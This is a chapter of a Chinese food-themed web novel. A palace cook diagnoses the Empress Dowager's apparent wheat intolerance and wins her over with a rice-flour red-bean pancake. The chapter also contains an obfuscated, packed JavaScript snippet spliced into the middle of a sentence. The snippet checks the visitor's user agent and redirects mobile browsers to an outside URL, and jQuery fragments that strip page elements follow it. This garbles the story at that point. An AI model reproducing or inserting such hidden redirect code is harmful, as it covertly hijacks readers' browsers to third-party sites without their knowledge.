47. 蜜豆金乌烧
作品:《汴京谁还没吃饭(美食)》 纸张翻动的“沙沙”声响传来,那位“萧次首”沉吟片刻后道:“食材温补,按理无妨,但近日太后娘娘的湿疹愈发加重,不得不一一排查。”
原是太后有疾。
鲜闻皇家八卦,薛荔饶感兴趣,竖起耳朵听起来。
“会不会,主症并不在湿疹?”典膳迟疑问道,“毕竟前段时日,院首将其诊断为‘虚寒症’,太后娘娘时常倦顿气短,不也恰好相合?”
萧文清垂眸思忖。其实,太后之疾未必真因虚寒,但院首之言他不便公然驳斥,只淡淡摇了摇头:“再将前一月的膳食著录拿来。”
典膳面露难色,这事都查过许多回了,就是查不出个所以然来。
可奈何面前这位乃翰林医官院次首呢?其父乃医官院前院首,在如今这位太后还是皇后之时,便深得其心。虽说前者已致仕多年,可太后见其子聪慧过人、通晓医理,便开恩子承父业,授萧文清次首一职。
他倒也不负太后所托,于医学上很是了得。当年梓州鼠疫,正是他配出药剂,方救了万数黎民的性命。
典膳无可奈何,却又不敢怠慢,只得去取膳食著录。
萧文清皱眉览册,仍在思索究竟是哪一环节出了差池。
“近来太后可还出现过胀气之症?”
萧文清一回首,不知何时,一脸生的玉面佳人已站在他身侧,螓首蛾眉,好不妍丽。
如此佳容,但衣着打扮却不浮华,应当并非哪位新入宫的妃嫔,但观气度,又不似婢役。
他怔了怔,有礼道:“在下翰林医官院次首萧文清。”
古人说这话,一般便是让对方也自我介绍一下了。
薛荔反应过来,姗姗行礼:“民女薛荔,奉旨入局为御宴帮厨。”
“原是薛小娘子。”萧文清了然,眉眼间多了几分赞许。
早听闻,陛下因一道雕花豆腐钦点了一位年轻女子制膳,据说那豆腐雕得栩栩如生,正似一朵盛放牡丹:“不愧是陛下一再钦点的人。”
“次首听说过我?”
萧文清温和笑了笑:“宁武侯于饮食一事上向来挑剔,能让他留在府中的人少之又少,在下自然久仰薛小娘子之名。”
薛荔掩唇一笑,这还是头一回从旁人口中听见蛐蛐齐恂的。
话归正题,萧文清郑重问询:“你方才提问,太后可否出现过胀气之症,为何有此疑?”
薛荔微微一窘。
额……这该如何同他解释才好?她总不能直接说,自己怀疑太后对麸质过敏吧?这一概念在大宋还未萌芽呢!
她只得临机编了个谎:“萧次首久值宫廷,或许未曾听闻民间常有一病症,唤作‘麸疾’,乃脾胃畏麦。若进食麦物,便会胀气、气短,甚至发疹。儿家祖上曾开过药铺,自幼也略知些医理,方才听您与典膳议论,这才想起此症来。”
萧文清凝神听完,并未第一时间质疑,反倒细查膳食著录:“……你说的不无道理,此前太后确有每日进食麦物。”
他指尖点在册页上,逐条示给她看:
蜂糖糕、莲花蟹肉馒头、梅花汤饼、油炸馓子、笋丝麸儿……看来这位太后很会吃嘛!不不不——重点在于,这些食材无一不是小麦制品才是。
恰好,此时典膳将一个月的著录也送来,二人合力翻看,不出意料,处处可见小麦踪迹。
“若真如此,唯一的法子,便是戒断麦食。”萧文清敛容。
可北方素以面为主食,太后千金贵体,吃惯了面点,骤然换食,只怕难成。且万一这位薛小娘子判断有误,太后戒断麦食而贵体不见好转,这也是件极让人头疼之事。
“这个好办。”薛荔松快道,“麦食吃不得,还有米、豆、薯类可替。像米糕、米饭、米粥、芋头、山药、豆腐,这些样样能饱腹。”
“话虽如此,但太后对这类食物无甚兴趣。”萧文清摇头,“此前御厨皆有尝试,但最终因太后不喜,皆以失败告终。”忽然,他眸光一亮,落在她身上,“或许,薛小娘子的厨艺可以一试?”
“我?”薛荔挑眉,环视起这间铜鼎瓷盘、刀灶俱全的梦中膳房,心里一阵火热。这般顶配,对于一位厨子而言,说不动心那是假的,“自然可以!”但旋即一想:“不过,太后会许我为她制膳么?”
“这点你无需担心,我来安排。”萧文清一笑,眉目温润。
-
既是麸质过敏,吃不了小麦,的确会少许多主食的选择,但也不是全然没有。
薛荔略思片刻,决定做一款宋式铜锣烧替代。
寻常的铜锣烧以低筋面粉为主料,虽说低粉含麸量较低,但毕竟是做给太后吃的,保险起见,还是改用磨细了的大米粉更为稳妥。
但也不能光用大米粉,为了增添面糊黏性,她还往其中掺入了糯米粉,接下来再打入两枚鸡蛋,添些盐、蜂蜜与牛乳。
原该有泡打粉以助铜锣烧的口感更为松软,但眼下此物尚未问世,她便取来一小块酒酵饼,用米汤和匀调成糊糊,拌入粉料中,拿大木勺搅和搅和,待到面糊成了酸奶质地,便往盆上覆一块湿麻布,搁到一旁静待发酵。
面糊备妥,接下来便是红豆沙馅。
这倒好办,因为她去寻红豆时,刚好寻到了御厨们留着做桃夭酥用的一盆豆沙馅。豆沙早已加了许多豕油与蜂蜜调好滋味,她将鼻尖凑近轻嗅,便被那蜜蜜甜香盈了满怀。如此一来,她也省去泡豆煮豆的工夫。
思量着面糊发得差不多了,薛荔揭开湿麻布,木勺一搅,将面糊上冒出的小气泡搅匀。平底铁锅上润一层薄薄的豕油,待铁锅烧得热透,再一把深口肚大的汤匙舀起一勺面糊,自高处缓缓倒下。
奶黄色的面糊落锅生姿,自然而然摊开成一枚圆饼,小火慢煎,待到饼面上煎出小气泡且裂开时,便可翻另一面煎熟。
薛荔不慌不忙,每煎一两块,便将锅拿离火苗稍稍降温,好使后头出炉的面饼色泽均匀,皆是焦糖般的黄褐色。
不过多时,温热的甜香逐渐氤氲开来,胖乎乎、圆嘟嘟的铜锣烧摞在白瓷碟上,宛若小塔。
她美其名曰要先尝尝味道是否合适,于是拿边角料给自己做了个迷你版的铜锣烧。
取一块小面饼,抹上厚厚的红豆沙,再于小山似的豆沙上覆一块面饼,两指轻轻压合边缘,便成了个圆鼓鼓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885258|188378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的小口袋。
她将铜锣烧举到鼻尖嗅了嗅,甜香更是馥郁了,旋即张嘴咬下一大口。铜锣烧小小一个,这一口下去,正好落在中间豆沙馅最厚实之处。
贝齿先破开松软的饼皮,随即陷入绵润的甜陷里,似乎深不见底。小山似的豆馅裹满了上齿内腔,直让人一侧腮帮都鼓起,这才敦实地着陆在下边的面饼上,再度破开,重新同下齿拥抱。
舌尖渐渐尝出蜜豆的醇甜来,薛荔闭上双眼,直美得摇头晃脑。
-
寿慈宫?中,檀香袅袅。
太后撑肘扶额,倚坐在雕花椅上,眉心微皱,脸颈泛红,气短得厉害。
一旁宫女持着檀香扇,轻轻扇风,试图让空气流通些许。
见萧文清来了,太后摆袖:“免礼罢,可查出来吾的饮食究竟有何不妥了?”
萧文清恭敬道:“回禀太后,微臣查阅了近一月以来的膳食著录,发现娘娘皆有摄入麦食,是以微臣斗胆猜测,娘娘的气短、湿疹或因‘麸疾’所致。”
太后眉头更蹙:“那该如何诊治?莫非今后连一口麦食都不能沾?”
“太后贵为坤极之尊,吃尽天下万食无所不可,但较于令您生疾的麦食,或许平和中正的米食、豆食更能裨益贵体。”说着,萧文清示意宫女布膳,“今日尚食局特制了一道‘金乌烧’,不搀麦粉,乃大米粉所制,娘娘可先一试。”
那圆鼓鼓的点心被摆到案上,模样似荷包般玲珑。
太后瞧了眼吃食,不由得眼笑眉舒:“你们倒好,莫非是将吾当稚童来哄了?吾虽上了年纪,却也不到蛮不讲理的地步……也罢,呈上来尝尝罢。”
宫女依着先前薛荔吩咐的法子,将金乌烧自最鼓之处对半剖开。
蜜红豆沙由两片煎色如落日的面饼裹挟着映入眼帘,倒真应了它这“金乌烧”之名。
太后虽欲维持颜仪,却也是个老餮,晓得边角的薄薄馅料之处,断不会像馅料厚实处那般好吃。索性命宫女再切作数块,拣了最丰腴的一块入口。
米粉面饼暄软无比,不似麦饼那般韧硬,轻轻嚼两下便散,倒正合她这把年纪的牙口。再一品,蜜豆馅儿糊满口腔,衬托着散发乳香与蛋香的饼皮,久久回甘。
萧文清问道:“太后觉得如何?”
太后以帕揩唇角,点头笑道:“此物是何人所制?快叫他再做上十来个,给吾的乖孙孙们每人都尝尝。”
萧文清失笑。老人家方才还言,莫将她当作稚童来哄呢,可如今连爱吃的吃食都与孙辈们爱吃的无差了。
“此事恐怕略有难办。”他躬身道,“微臣不敢居功,今日之法,实是陛下钦点的帮厨小娘子所出。麸疾’之症,亦是她点醒的微臣。那位小娘子恰好亦是宁武侯府中的一位厨娘,御宴一毕,她便要回侯府,恐怕无法为几位皇子公主烹制金乌烧。”
“哦?竟还在齐家小子府上做厨?”太后眼底透出笑意,“那孩子是我看着长大的,他嘴最是挑剔,能叫他留在府中的厨子,定然是有一双巧手的了。你去,就说是吾找他借人来一用,他不会计较。”
萧文清低笑:“侯爷敬爱娘娘,自当应允。”

